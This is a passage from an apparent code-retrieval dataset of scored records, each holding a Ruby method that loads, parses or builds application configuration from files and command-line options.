vars.add_data!(\"vars\", config_vars)\n liquify(vars, config_file, config_out)\n config_file = config_out\n @logger.debug \"Config parsed! Using #{config_out} for build.\"\n validate_file_input(config_file, \"config\")\n end\n begin\n config = YAML.load_file(config_file)\n rescue Exception => ex\n unless File.exists?(config_file)\n @logger.error \"Config file #{config_file} not found.\"\n else\n @logger.error \"Problem loading config file #{config_file}. #{ex} Exiting.\"\n end\n raise \"ConfigFileError\"\n end\n cfg = BuildConfig.new(config) # convert the config file to a new object called 'cfg'\n if @safemode\n commands = \"\"\n cfg.steps.each do |step|\n if step['action'] == \"execute\"\n commands = commands + \"> \" + step['command'] + \"\\n\"\n end\n end\n unless commands.to_s.strip.empty?\n puts \"\\nWARNING: This routine will execute the following shell commands:\\n\\n#{commands}\"\n ui = HighLine.new\n answer = ui.ask(\"\\nDo you approve? (YES/no): \")\n raise \"CommandExecutionsNotAuthorized\" unless answer.strip == \"YES\"\n end\n end\n iterate_build(cfg)\nend", "title": "" }, { "docid": "68507b92ab2c0f0284b07a304f089888", "score": "0.4897386", "text": "def on?(key, options = {})\n definition = @definitions[key]\n\n strategies = if definition.options[:strategies]\n definition_strategies = definition.options[:strategies].map(&:to_s)\n @strategies.values_at(*definition_strategies)\n else\n @strategies.values\n end\n\n knowing_strategies = strategies.select do |strategy|\n strategy.knows?(definition, options)\n end\n\n if knowing_strategies.any?\n knowing_strategies.any? do |strategy|\n strategy.on?(definition, options)\n end\n else\n default_for(definition, options)\n end\n end", "title": "" }, { "docid": "6cff65876ea782037fa71bb89aa2ef40", "score": "0.4884352", "text": "def configuration\n\t\t\t\tconfiguration = Configuration.new\n\t\t\t\t\n\t\t\t\tself.resolved_paths.each do |path|\n\t\t\t\t\tpath = File.expand_path(path)\n\t\t\t\t\t\n\t\t\t\t\tconfiguration.load_file(path)\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn configuration\n\t\t\tend", "title": "" }, { "docid": "9fc01180fdb1b3368ca60d3f8f4f31bf", "score": "0.4878874", "text": "def fromFile cfgfile\n\t\tself.out \"from file #{cfgfile}\"\n\t\t# ran data\n\t\tinstance_eval File.read( cfgfile), cfgfile\n\tend", "title": "" }, { "docid": "4d5b0085d80cd953627ba8702e53ff25", "score": "0.48667035", "text": "def build\n puts \"\\nExecuting ladon-batch\"\n _print_separator_line\n\n @runners = []\n\n # TODO: figure out wildcarding in TARGET_AUTOMATION_PATH.\n # Maybe we can preprocess AUTOMATION_CONFIG_KEY, using Dir to detect multiples, and expanding the config\n # with any repeats. Maybe we detect all non-abstract subclasses of automation_config[:automation_name] ?\n # Not sure yet. We'll get to this later.\n\n @config[AUTOMATION_CONFIG_KEY].each do |automation_config|\n # build and process this config's flag_sets\n target_flag_sets = _flag_sets_of_automation(automation_config)\n # calculate the number of runners to create for the automation\n repeats = _nonnegative_int(automation_config[:instances])\n\n target_flag_sets.each do |set_name, flag_set|\n _spawn_runners(automation_config, set_name, flag_set.dup, repeats)\n end\n end\n end", "title": "" }, { "docid": "252c3d168ba733ab59d2bb07ffa7aece", "score": "0.4865939", "text": "def load!\n if config_file\n load_from_config_file(config_file)\n\n if @config_from_file\n get_formatters_from_config_file\n #get_file_sets_from_config_file unless @runtime_file_list\n get_file_sets_from_config_file\n end\n else\n log 'Creating default file set...'\n @file_sets = { default: FileSet.new(@runtime_file_list) }\n end\n\n get_output_file_from_cli_opts\n get_formatters_from_cli_opts\n get_file_sets_from_cli_opts\n get_style_from_cli_opts\n end", "title": "" }, { "docid": "8ce2726c439b7a1434595bea48412fd2", "score": "0.48636204", "text": "def build\n methods.select { |x| x =~ /^determine_/ }.each do |method|\n self.send(method)\n end\n methods.select { |x| x =~ /^warning_/ }.each do |method|\n self.send(method)\n end\n end", "title": "" }, { "docid": "2439e521089c077ac19cb4dbf240a3e2", "score": "0.48615748", "text": "def load_configuration\n config_path = options.fetch(:config_path) do\n root.join('brief.rb')\n end\n\n if config_path.is_a?(String)\n config_path = root.join(config_path)\n end\n\n run(config_path) if config_path.exist?\n end", "title": "" }, { "docid": "f287b9c7c5e1eb3211c94b63759441cd", "score": "0.48573205", "text": "def process config\n replace_variables config.template_location\n\n replace_variables config.generate_settings.command unless config.generate_settings == nil || config.generate_settings.command == nil\n replace_variables config.generate_settings.docker_file unless config.generate_settings == nil || config.generate_settings.docker_file == nil\n\n replace_variables config.build_settings.build_commands.fetch unless config.build_settings == nil || config.build_settings.build_commands.fetch == nil\n replace_variables config.build_settings.build_commands.build unless config.build_settings == nil || config.build_settings.build_commands.build == nil\n replace_variables config.build_settings.build_commands.test unless config.build_settings == nil || config.build_settings.build_commands.test == nil\n\n replace_variables config.build_settings.docker_settings.image unless config.build_settings == nil || config.build_settings.docker_settings.image == nil\n replace_variables config.build_settings.docker_settings.env unless config.build_settings == nil || config.build_settings.docker_settings.env == nil\n replace_variables config.build_settings.docker_settings.binds unless config.build_settings == nil || config.build_settings.docker_settings.binds == nil\n replace_variables config.build_settings.docker_settings.working_directory unless config.build_settings == nil || config.build_settings.docker_settings.working_directory == nil\n\n return config\n end", "title": "" }, { "docid": "edfb2f3e58e8ad351df7ef8eea1d34ba", "score": "0.48458096", "text": "def parse_config_file(file)\n return {} unless File.exist?(file)\n\n case File.extname(file)\n when /\\.conf$/i\n parse_conf_file(file)\n when /\\.json$/i\n Oj.load_file(file, mode: :strict, symbol_keys: true)\n when /\\.ya?ml$/i\n begin\n require 'safe_yaml/load'\n SafeYAML.load_file(file) || {}\n rescue LoadError\n # Re-raise with a more descriptive message. This should generally\n # abort the configuration loading.\n raise LoadError.new(%{Could not load the requested resource. Please install the 'safe_yaml' gem via\nBundler or directly, and try loading again.\n})\n end\n end\n end", "title": "" }, { "docid": "66fa8c2d734d434950cac2e6a80e3d8b", "score": "0.48439202", "text": "def parse!(configuration_file)\n instance_eval(File.read(configuration_file))\n\n ##\n # If no configuration is found by environment then\n # it will re-parse it in a forced manner, meaning it won't\n # care about the environment and it will just parse everything it finds.\n # This is done because we can then extract all set \"modules\" from the configuration\n # file and display them in the \"Help\" screen so users can look up information/examples on them.\n #\n # This will only occur if no environment is found/specified. So when doing anything\n # environment specific, it will never force the parsing.\n if not found? and environment.nil?\n @force_parse = true\n instance_eval(File.read(configuration_file))\n @additional_modules.uniq!\n end\n\n if not found? and not environment.nil?\n GitPusshuTen::Log.error \"Could not find any configuration for #{environment.to_s.color(:yellow)}.\"\n exit\n end\n\n ##\n # Default to port 22 if no port is specified\n @port ||= '22'\n\n self\n end", "title": "" }, { "docid": "4d94d65eaaf250ef8fe32cea5215ab9c", "score": "0.48405796", "text": "def load_config(file = nil)\n api_name = api.class.to_s.gsub('::', '_').gsub(/([^_A-Z])([A-Z])/,'\\1_\\2').downcase!\n file ||= \"#{config_dir}/#{api_name}.rb\"\n return unless File.exist?(file)\n\n proc = Proc.new {} # create proc to grab binding\n eval(IO.read(file), proc.binding, file)\n end", "title": "" }, { "docid": "a02a10381dc2af4c526f1b430063e303", "score": "0.4827867", "text": "def build_config\n return unless build?\n build_config_terraform\n end", "title": "" }, { "docid": "7fd63fd96e200b02244eb9bf96f68e61", "score": "0.48071367", "text": "def parse_config\n %w(/etc/steel/steel.yml steel.yml).each do |cfg|\n if File.exist?(cfg)\n begin\n y = YAML.load_file(cfg)\n rescue Psych::SyntaxError => e\n error \"[#{e.class}] Failed to parse '#{cfg}'!!\"\n error e.message\n exit 1\n end\n # Merge the contents of the config into @config.\n config.merge!(y)\n end\n end\n end", "title": "" }, { "docid": "997e3f1854d7ef59637d9a35654fc1b7", "score": "0.48033795", "text": "def init_config\n unless instance_variable_defined? :@hatt_configuration\n @hatt_configuration = TCFG::Base.new\n\n # build up some default configuration\n @hatt_configuration.tcfg_set 'hatt_services', {}\n @hatt_configuration.tcfg_set 'hatt_globs', DEFAULT_HATT_GLOBS\n\n @hatt_configuration.tcfg_set_env_var_prefix 'HATT_'\n end\n\n if hatt_config_file_path\n # if a config file was specified, we assume it exists\n @hatt_configuration.tcfg_config_file hatt_config_file_path\n else\n Log.warn 'No configuration file specified or found. Make a hatt.yml file and point hatt at it.'\n end\n @hatt_configuration.tcfg_set 'hatt_config_file', hatt_config_file_path\n\n normalize_services_config @hatt_configuration\n\n nil\n end", "title": "" }, { "docid": "d027c6582fe975888ff94ec9a1eb73ef", "score": "0.4798838", "text": "def configs_from(options)\n from = options[:from]\n list = []\n\n return list unless from\n\n if Array === from\n from_name, from_opts = *from\n else\n from_name, from_opts = from, {}\n end\n\n from_config = RC.configuration(from_name)\n\n from_opts[:feature] = options[:feature] unless from_opts.key?(:feature) if options[:feature]\n from_opts[:command] = options[:command] unless from_opts.key?(:command) if options[:command]\n from_opts[:profile] = options[:profile] unless from_opts.key?(:profile) if options[:profile]\n\n from_opts[:feature] = from_opts[:feature].to_s if from_opts[:feature]\n from_opts[:command] = from_opts[:command].to_s if from_opts[:command]\n from_opts[:profile] = from_opts[:profile].to_s if from_opts[:profile]\n\n from_config.each do |ftr, confs|\n confs.each_with_index do |c, i|\n if c.match?(from_opts)\n list << c.copy(options)\n end\n end\n end\n\n list\n end", "title": "" }, { "docid": "8514878b362a1c5a8debf218ecdee3e6", "score": "0.4796034", "text": "def load_configuration\n config_path = options.fetch(:config_path) do\n root.join('brief.rb')\n end\n\n if config_path.exist?\n instance_eval(config_path.read)\n end\n end", "title": "" }, { "docid": "a1e5e811268a28a7d98b7b24a7af8bdf", "score": "0.4795565", "text": "def load_config!\n if(options[:config])\n config_inst = config_class.new(options[:config])\n elsif(self.class.const_defined?(:DEFAULT_CONFIGURATION_FILES))\n path = self.class.const_get(:DEFAULT_CONFIGURATION_FILES).detect do |check|\n full_check = File.expand_path(check)\n File.exists?(full_check)\n end\n config_inst = config_class.new(path) if path\n end\n if(config_inst)\n options.delete(:config)\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n config_inst.to_smash.deep_merge(\n options.to_smash\n )\n )\n ).to_smash\n else\n @options = config_class.new(\n defaults.to_smash.deep_merge(\n options.to_smash\n )\n ).to_smash\n end\n options\n end", "title": "" }, { "docid": "44b57ab03c77b32097c9fe6c628282fa", "score": "0.47732002", "text": "def build_config(config, allow_missing=false)\n all_definitions = config_meta.map {|p, l| l }.flatten\n Config.new(all_definitions, config, allow_missing)\n end", "title": "" }, { "docid": "0034fc3dbda50b38ec6117ca1edffdbc", "score": "0.47684363", "text": "def configure_and_run(params = [])\n config_file = Configuration::DEFAULT_CONFIG_FILE_NAME\n tmp_config = Configuration.new\n action_wizard = false\n\n parser = OptionParser.new do |opts|\n opts.banner = if ENV['OCRA_EXECUTABLE']\n \"Usage: #{ENV['OCRA_EXECUTABLE'].gsub(\"#{Dir.pwd}/\".gsub('/', '\\\\'), '')} [options]\"\n else\n \"Usage: #{Gem.ruby} #{$PROGRAM_NAME} [options]\"\n end\n\n opts.on('-c', '--config CONFIG_FILE_NAME', 'Specify custom configuration file,'\\\n \" instead of #{Configuration::DEFAULT_CONFIG_FILE_NAME}.\") do |file_name|\n config_file = file_name\n end\n\n opts.on('-r', '--register FILE', 'Register a custom plugin, e.g. your own Datasource implementation') do |plugin|\n require plugin\n end\n\n opts.on('-d', '--debug LEVEL', 'Specify detail level: FATAL, ERROR, WARN, INFO, DEBUG.') do |level|\n tmp_config.set_param('grafana-reporter:debug-level', level)\n end\n\n opts.on('-o', '--output FILE', 'Output filename if only a single file is rendered') do |file|\n tmp_config.set_param('to_file', file)\n end\n\n opts.on('-s', '--set VARIABLE,VALUE', Array, 'Set a variable value, which will be passed to the '\\\n 'rendering') do |list|\n raise ParameterValueError, list.length unless list.length == 2\n\n tmp_config.set_param(\"default-document-attributes:#{list[0]}\", list[1])\n end\n\n opts.on('--ssl-cert FILE', 'Manually specify a SSL cert file for HTTPS connection to grafana. Only '\\\n 'needed if not working properly otherwise.') do |file|\n if File.file?(file)\n tmp_config.set_param('grafana-reporter:ssl-cert', file)\n else\n config.logger.warn(\"SSL certificate file #{file} does not exist. Setting will be ignored.\")\n end\n end\n\n opts.on('--test GRAFANA_INSTANCE', 'test current configuration against given GRAFANA_INSTANCE') do |instance|\n tmp_config.set_param('grafana-reporter:run-mode', 'test')\n tmp_config.set_param('grafana-reporter:test-instance', instance)\n end\n\n opts.on('-t', '--template TEMPLATE', 'Render a single ASCIIDOC template to PDF and exit') do |template|\n tmp_config.set_param('grafana-reporter:run-mode', 'single-render')\n tmp_config.set_param('default-document-attributes:var-template', template)\n end\n\n opts.on('-w', '--wizard', 'Configuration wizard to prepare environment for the reporter.') do\n action_wizard = true\n end\n\n opts.on('-v', '--version', 'Version information') do\n puts GRAFANA_REPORTER_VERSION.join('.')\n return -1\n end\n\n opts.on('-h', '--help', 'Show this message') do\n puts opts\n return -1\n end\n end\n\n begin\n parser.parse!(params)\n return ConsoleConfigurationWizard.new.start_wizard(config_file, tmp_config) if action_wizard\n rescue ApplicationError => e\n puts e.message\n return -1\n end\n\n # abort if config file does not exist\n unless File.file?(config_file)\n puts \"Config file '#{config_file}' does not exist. Consider calling the configuration wizard\"\\\n ' with option \\'-w\\' or use \\'-h\\' to see help message. Aborting.'\n return -1\n end\n\n # merge command line configuration with read config file\n @config.load_config_from_file(config_file)\n @config.merge!(tmp_config)\n\n run\n end", "title": "" }, { "docid": "91b94f4c5ddb45aee9caa928050d03eb", "score": "0.4764463", "text": "def read_component_configuration component,platform,configuration\n hp_dir=File.join(configuration['base_dir'],'src','hand',platform,component)\n hc_dir=File.join(configuration['base_dir'],'src','hand','common',component)\n gp_dir=File.join(configuration['base_dir'],'src','gen',platform,component)\n gc_dir=File.join(configuration['base_dir'],'src','gen','common',component)\n cfg={}\n [hp_dir,hc_dir,gp_dir,gc_dir].each do |cfg_dir|\n file_to_merge=File.join(cfg_dir,'build.cfg')\n if File.exists?(file_to_merge)\n cfg_to_merge=read_configuration(file_to_merge)\n cfg=merge_configurations(cfg,cfg_to_merge) \n end\n end\n return cfg\nend", "title": "" }, { "docid": "552ebb1df9efd9047d208cec2dd3aa64", "score": "0.47618052", "text": "def parse(file_name)\n raise Mongify::ConfigurationFileNotFound, \"File #{file_name} is missing\" unless File.exists?(file_name)\n config = self.new\n config.instance_eval(File.read(file_name))\n config\n end", "title": "" }, { "docid": "9c22eb2597ad37e3a154a99baf39cf58", "score": "0.4758268", "text": "def initialize(mode=:string)\n @mode = mode\n\n f = File.open(CONFIG_FILE, 'r')\n hsh = YAML::load(f)[mode.to_s]\n @feature_order = hsh[\"feature_order\"].map(&:to_sym)\n @token_features = hsh[\"feature_order\"].sort.map(&:to_sym)\n end", "title": "" }, { "docid": "15b0615799422b6d4250767e0b7a4147", "score": "0.47517207", "text": "def config_load(config); end", "title": "" }, { "docid": "3474cce6598e044d18bbd835be354031", "score": "0.47415945", "text": "def configure_backdat\n @commands = parse_options\n\n begin\n ::File.open(config[:config_file]) { |f| apply_config(f.path) }\n rescue Errno::ENOENT => error\n msg = \"Did not find the config file: #{config[:config_file]}\"\n msg << \", Using command line options.\"\n Backdat::Log.warn \"*****************************************\"\n Backdat::Log.warn msg\n Backdat::Log.warn \"*****************************************\"\n end\n end", "title": "" }, { "docid": "501c88de010eb0e0d89ba26e11fe758d", "score": "0.47337076", "text": "def parse_config\n @parsed_hash = Settings.load! @config_file\n validate @parsed_hash\n HadoopConfigParser.new(HADOOP_CONF, @log, @debug)\n HBaseConfigParser.new(HBASE_CONF, @log, @debug)\n unless @errors_count == 0\n @log.error \"Number of Errors: #{@errors_count}\"\n @log.error 'Parsing config file ... ' + '[Failed]'.red\n raise(Ankus::Errors::ParseError.new(\"\\rParsing Configuration Failed\".red))\n end\n create_req_files\n @parsed_hash\n rescue Ankus::Errors::ParseError, Ankus::Errors::ParseError::NoKey\n @log.error \"#{$!.message} (#{$!.class})\"\n exit\n rescue\n @log.error \"#{$!.message} (#{$!.class})\"\n puts $@ if @debug\n exit\n end", "title": "" }, { "docid": "1bc861e279ae76271a279981d975cfae", "score": "0.4732593", "text": "def read_configuration filename\n puts \"Reading configuration from #{filename}\"\n lines=File.readlines(filename)\n cfg={}\n #change in the dir of the file to calculate paths correctly\n cfg_dir=File.dirname(filename)\n lines.each do |l|\n l.gsub!(\"\\t\",\"\")\n l.chomp!\n #ignore if it starts with a hash\n unless l=~/^#/ || l.empty?\n #clean up by trimming whitespaces\n l.gsub!(/\\s*=\\s*/,'=')\n l.gsub!(/\\s*,\\s*/,',')\n #\n if l=~/=$/\n trailing_equals=true\n end\n #split on equals\n fields=l.split('=')\n #more than one part needed\n if fields.size>1\n #the key is the first\n key=fields.first\n #take the key out of the array\n values=fields.drop(1)\n #the value to each key is the values array joined with space\n case key \n when \"include\",\"depend\",\"interface\",\"external\" \n cfg[key]||=[]\n #here we want to handle a comma separated list of prefixes\n incs=values.join\n cfg[key]+=incs.split(',')\n cfg[key].uniq!\n when \"out_dir\",\"base_dir\",\"model\" \n cfg[key]=File.expand_path(File.join(cfg_dir,values.join))\n else\n cfg[key]=values.join('=')\n end#case\n cfg[key]<<'=' if trailing_equals\n else\n puts \"ERROR - Configuration syntax error in #{filename}:\\n'#{l}'\"\n end#if size>1\n end#unless\n end#lines.each\n return cfg\nend", "title": "" }, { "docid": "9659a943fe4e85a490754407b9c59eb2", "score": "0.47277737", "text": "def prepare_preferred_algorithms!; end", "title": "" }, { "docid": "a4259da1f1c84c9351e3bdcd37d273e5", "score": "0.47238812", "text": "def initialize(file = nil, &b)\r\n \r\n @rules = {}\r\n @facts = {}\r\n @dependencies = {}\r\n \r\n if block_given?\r\n instance_eval(&b)\r\n elsif file\r\n # loading a file, check extension\r\n name,ext = file.split(\".\")\r\n logger.debug(\"loading ext: #{name}.#{ext}\") if logger\r\n case ext\r\n when 'csv'\r\n load_csv( file )\r\n \r\n when 'xml'\r\n load_xml( file )\r\n \r\n when 'rb'\r\n load_rb( file )\r\n \r\n when 'rules' # for backwards compatibility\r\n load_rb(file)\r\n \r\n else\r\n raise RuleLoadingError, \"invalid file extension: #{ext}\"\r\n end\r\n end\r\n end", "title": "" }, { "docid": "1ef24ac06af3871c0d5c131053b1913c", "score": "0.4723184", "text": "def add_heuristics!\n rubygems = self\n heuristics do\n\n add(rubygems.lib_pattern) do |file|\n run :test_for => file\n end\n\n add(rubygems.test_pattern) do |file|\n run file\n end\n\n add(rubygems.test_helper_pattern) do |file|\n run :all => :tests\n end\n\n end\n end", "title": "" }, { "docid": "7a701e27bab8357b30f5dd26ceb3f2bd", "score": "0.47168013", "text": "def load(options = {})\n update(options) # from the command line\n\n unless File.exist?(config_file)\n raise Error, \"Could not find configuration file: '#{config_file}'.\"\n end\n\n config = File.read(config_file)\n check_config_version!(config)\n\n dsl = DSL.new\n dsl.instance_eval(config, config_file)\n\n update(dsl._config_options) # from config.rb\n update(options) # command line takes precedence\n\n dirs = Dir[File.join(File.dirname(config_file), \"models\", \"*.rb\")]\n dirs.each do |model|\n dsl.instance_eval(File.read(model), model)\n end\n end", "title": "" }, { "docid": "45cfb3aa6e5afad04d6d589075376dc7", "score": "0.4716003", "text": "def load_factories\n absolute_factories_paths.each do |path|\n load_factories_if_file(path)\n load_factories_if_directory(path)\n end\n end", "title": "" }, { "docid": "094f2f2a15f0b06a4afac93a283a78ea", "score": "0.4710156", "text": "def setup_components\n config\n .internal\n .configurators\n .each { |configurator| configurator.call(config) }\n end", "title": "" }, { "docid": "1a24f0e91c7b5d0a18b500e6c9602e05", "score": "0.4704144", "text": "def load!\n if(path)\n if(File.directory?(path))\n conf = Dir.glob(File.join(path, '*')).sort.inject(Smash.new) do |memo, file_path|\n memo.deep_merge(load_file(file_path))\n end\n elsif(File.file?(path))\n conf = load_file(path)\n else\n raise Errno::ENOENT.new path\n end\n conf\n end\n end", "title": "" }, { "docid": "8b40437d195f339aceac5775336d440d", "score": "0.47017738", "text": "def process_config(config_file, options=OpenStruct.new)\n # Defaults\n config = {\n 'target_directory' => 'auto',\n 'copy_rpm_data' => false\n }\n\n if File.exist?(config_file)\n begin\n system_config = YAML.load_file(config_file)\n if system_config\n config.merge!(system_config)\n end\n rescue\n fail(\"Error: Config file '#{config_file}' could not be processed\")\n end\n end\n\n if options.copy_rpm_data.nil?\n options.copy_rpm_data = (config['copy_rpm_data'].to_s == 'true')\n end\n\n if options.target_dir.nil? && config['target_directory']\n if config['target_directory'] == 'auto'\n options.target_dir = simp_target_dir\n else\n unless config['target_directory'][0].chr == '/'\n fail(\"Error: 'target_directory' in '#{config_file}' must be an absolute path\")\n end\n\n options.target_dir = config['target_directory'].strip\n end\n end\n\n return options\nend", "title": "" }, { "docid": "d905bd97cf0e9d0626f9b41518f26eee", "score": "0.46991327", "text": "def initialize\n @config = config_from_file || empty_config\n end", "title": "" }, { "docid": "37152eee42055a58f93c9d13bb485d9b", "score": "0.4696321", "text": "def setup_behavior(config, req='req')\n app_condition = lambda do |app|\n if_app(app, req)\n end\n if_else([:dashboard, :pegasus], app_condition) do |app|\n app_config = config[app]\n configs = app_config[:behaviors] + [app_config[:default]]\n path_condition = lambda do |behavior|\n behavior[:path] ? paths_to_regex(behavior[:path], req) : nil\n end\n if_else(configs, path_condition) do |behavior|\n yield behavior, app\n end\n end\nend", "title": "" }, { "docid": "92008222c2d1259e42ddee88ed308ccf", "score": "0.4683989", "text": "def configuration\n @configuration ||= {\n Appeal => {\n # Need track_imported_ids=true because parent DecisionReview is abstract,\n # i.e., DecisionReview has no table_name and hence cannot be used\n # when reassociating using polymorphic associations.\n track_imported_ids: true,\n retrieval: lambda do |records|\n (records[Appeal] +\n records[Appeal].map { |appeal| self.class.appeals_associated_with(appeal) }.flatten.uniq.compact\n ).uniq.sort_by(&:id)\n end\n },\n Veteran => {\n # track_imported_ids = true so that an existing (previously imported) Veteran can be reused\n track_imported_ids: true,\n retrieval: ->(records) { records[Appeal].map(&:veteran).sort_by(&:id) }\n },\n AppealIntake => {\n retrieval: ->(records) { records[Appeal].map(&:intake).compact.sort_by(&:id) }\n },\n DecisionDocument => {\n # citation_number must be unique and doesn't reference anything else in Caseflow,\n # so transform the number so we can import into the same DB as the original record\n sanitize_fields: %w[citation_number],\n retrieval: ->(records) { DecisionDocument.where(appeal: records[Appeal]).order(:id) }\n },\n Claimant => {\n retrieval: ->(records) { records[Appeal].map(&:claimants).flatten.sort_by(&:id) }\n },\n Task => {\n sanitize_fields: %w[instructions],\n retrieval: ->(records) { reorder_for_import(Task.where(appeal: records[Appeal])) }\n },\n TaskTimer => {\n retrieval: ->(records) { TaskTimer.where(task_id: records[Task].map(&:id)).order(:id) }\n },\n JudgeCaseReview => {\n sanitize_fields: %w[comment],\n retrieval: ->(records) { JudgeCaseReview.where(task_id: records[Task].map(&:id)).order(:id) }\n },\n AttorneyCaseReview => {\n retrieval: ->(records) { AttorneyCaseReview.where(task_id: records[Task].map(&:id)).order(:id) }\n },\n DecisionIssue => {\n # In order to import DecisionIssues before RequestIssues (since RequestIssue records refer to DecisionIssue),\n # export DecisionIssue records first.\n sanitize_fields: %w[decision_text description],\n retrieval: lambda do |records|\n appeal_decision_issue_ids = records[Appeal].map(&:decision_issues).flatten.map(&:id)\n request_issues = records[Appeal].map(&:request_issues).flatten\n other_decision_issues_ids = request_issues.compact.map(&:contested_decision_issue).compact.map(&:id)\n\n DecisionIssue.where(id: appeal_decision_issue_ids + other_decision_issues_ids).order(:id)\n end\n },\n RequestIssue => {\n sanitize_fields: [\"notes\", \"contested_issue_description\", /_(notes|text|description)/],\n retrieval: ->(records) { records[Appeal].map(&:request_issues).flatten.sort_by(&:id) }\n },\n RequestDecisionIssue => {\n retrieval: ->(records) { RequestDecisionIssue.where(request_issue: records[RequestIssue]).order(:id) }\n },\n CavcRemand => { # dependent on DecisionIssue records\n # cavc_judge_full_name is selected from Constants::CAVC_JUDGE_FULL_NAMES; no need to sanitize\n sanitize_fields: %w[instructions],\n retrieval: ->(records) { records[Appeal].map(&:cavc_remand).compact.sort_by(&:id) }\n },\n Hearing => {\n sanitize_fields: %w[bva_poc military_service notes representative_name summary witness],\n retrieval: lambda do |records|\n (records[Appeal].map(&:hearings) +\n Task.where(id: records[Task].map(&:id), type: :HearingTask).map(&:hearing)\n ).flatten.uniq.compact.sort_by(&:id)\n end\n },\n HearingDay => {\n sanitize_fields: %w[bva_poc notes],\n retrieval: ->(records) { records[Hearing].map(&:hearing_day).uniq.compact.sort_by(&:id) }\n },\n VirtualHearing => {\n sanitize_fields: %w[alias alias_with_host appellant_email conference_id guest_hearing_link guest_pin\n guest_pin_long host_hearing_link host_pin host_pin_long judge_email representative_email],\n retrieval: ->(records) { records[Hearing].map(&:virtual_hearing).uniq.compact.sort_by(&:id) }\n },\n HearingTaskAssociation => {\n retrieval: ->(records) { HearingTaskAssociation.where(hearing: records[Hearing]).order(:id) }\n },\n\n User => {\n # track_imported_ids = true so that an existing (previously imported) User can be reused\n track_imported_ids: true,\n sanitize_fields: %w[css_id email full_name],\n retrieval: lambda do |records|\n # eager load task associations\n tasks = Task.where(id: records[Task].map(&:id)).includes(:assigned_by, :assigned_to, :cancelled_by)\n cavc_remands = records[CavcRemand]\n hearings = records[Hearing]\n\n users = tasks.map(&:assigned_by).compact + tasks.map(&:cancelled_by).compact +\n tasks.assigned_to_any_user.map(&:assigned_to) +\n cavc_remands.map { |cavc_remand| [cavc_remand.created_by, cavc_remand.updated_by] }.flatten +\n records[Appeal].map(&:intake).compact.map(&:user) +\n records[AppealIntake].map { |intake| intake&.user } +\n records[HearingDay].map { |hday| [hday.created_by, hday.updated_by, hday.judge] }.flatten +\n hearings.map { |hearing| [hearing.created_by, hearing.updated_by, hearing.judge] }.flatten +\n hearings.map(&:virtual_hearing).uniq.compact.map { |vh| [vh.created_by, vh.updated_by] }.flatten\n\n org_admins = organizations_for(records[Task], records[User]).map(&:admins).flatten\n\n (users + org_admins).uniq.compact.sort_by(&:id)\n end\n },\n OrganizationsUser => {\n retrieval: ->(records) { OrganizationsUser.where(user: records[User]) }\n },\n Organization => {\n # track_imported_ids = true so that an existing Organization in our dev environment can be reused\n # instead of importing/creating a new equivalent Organization. See comments for the SanitizedJsonImporter.\n track_imported_ids: true,\n retrieval: lambda do |records|\n organizations_for(records[Task], records[User])\n end\n },\n Person => {\n # track_imported_ids = true so that an existing (previously imported) Person can be reused\n track_imported_ids: true,\n retrieval: lambda do |records|\n # For unrecognized appellants, `claimant.person` returns a non-nil object with nil id\n # If PR #16768 is merged, then the `reject` call can be remove.\n (records[Veteran] + records[Claimant]).map(&:person).uniq.compact.sort_by(&:id)\n end\n },\n # Put UnrecognizedPartyDetail before UnrecognizedAppellant so that it is imported in that order\n UnrecognizedPartyDetail => {\n retrieval: lambda { |records|\n party_detail_ids = records[Claimant].map(&:unrecognized_appellant).compact\n .pluck(:unrecognized_party_detail_id, :unrecognized_power_of_attorney_id)\n .flatten.uniq.compact\n UnrecognizedPartyDetail.where(id: party_detail_ids).order(:id)\n }\n },\n UnrecognizedAppellant => {\n retrieval: ->(records) { records[Claimant].map(&:unrecognized_appellant).uniq.compact }\n }\n }.each do |clazz, class_configuration|\n class_configuration[:sanitize_fields] ||= self.class.select_sanitize_fields(clazz).tap do |fields|\n Rails.logger.info \" Inferring #{clazz} sanitize_fields: #{fields}\" unless fields.blank?\n end\n end\n end", "title": "" }, { "docid": "5b8be6eae41ba6828e8e89533248eb23", "score": "0.46738642", "text": "def load_conf(klass,args,single = false)\n if single\n klass.new(args)\n else\n Hash[*args.map do |key,val|\n [key,klass.new(val)]\n end.flatten]\n end\nend", "title": "" }, { "docid": "5b8be6eae41ba6828e8e89533248eb23", "score": "0.46738642", "text": "def load_conf(klass,args,single = false)\n if single\n klass.new(args)\n else\n Hash[*args.map do |key,val|\n [key,klass.new(val)]\n end.flatten]\n end\nend", "title": "" }, { "docid": "39df61e31626504a163ef4da78e64a0e", "score": "0.46685836", "text": "def build_extension_configurations\n extension.configurations.each do |ext_configuration|\n extension_settings.new(key: ext_configuration[:key]) unless\n extension_settings.where(key: ext_configuration[:key]).present?\n end\n end", "title": "" }, { "docid": "671b5c50ce581f460b54120ebc1c84dc", "score": "0.466616", "text": "def setup\n preference_file = \"#{defaults[:root_dir]}/config.yml\"\n preferences = {}\n if File.exists? preference_file\n require 'yaml'\n File.open(preference_file) { |file| preferences = YAML.load(file) }\n end\n base_file_variations(absolute_paths(defaults.merge(preferences)))\n end", "title": "" }, { "docid": "400f06c50dae988fca26a3c0627cfdf7", "score": "0.46646264", "text": "def initialize\n super\n configure_logging\n detect_platform()\n detect_resolver()\n load_config()\n end", "title": "" }, { "docid": "f0f16cd39e8769ba57655930d42c0620", "score": "0.4660304", "text": "def load_config(file = nil)\n file ||= \"#{config_dir}/worker.rb\"\n return unless File.exists?(file)\n\n eval(IO.read(file))\n end", "title": "" }, { "docid": "e1bae308b11330fa26c78254eb35af24", "score": "0.46562552", "text": "def configs(cfg)\n Dir.glob(cfg[\"tile_engines\"][\"conf_dir\"] + \"/*.conf.yml\").each do |item|\n\t engine_cfg = File.open(item){|fd| YAML.load(fd)}\n\t engine_cfg[\"mailer_config\"] = cfg[\"tile_engines\"][\"mailer_config\"]\n\t engine_cfg[\"config_path\"]=item\n\t yield engine_cfg\n end\n end", "title": "" }, { "docid": "7fe618c56be5e1d87975a17ffb62bd7b", "score": "0.46554226", "text": "def strategy=(s); end", "title": "" }, { "docid": "476c9b0f6834459b50607429b45f90f6", "score": "0.46529192", "text": "def config(value)\n # require value if File.exists?(value)\n if File.exists?(value)\n fc = File.read(value)\n self.instance_eval(fc)\n end\n end", "title": "" }, { "docid": "66d4e211fbd071838d7cfc81e97c8864", "score": "0.46522814", "text": "def read_configurations(file_name = T.unsafe(nil)); end", "title": "" }, { "docid": "320a6ee5c8362778db2d2a67c87c9c31", "score": "0.46519384", 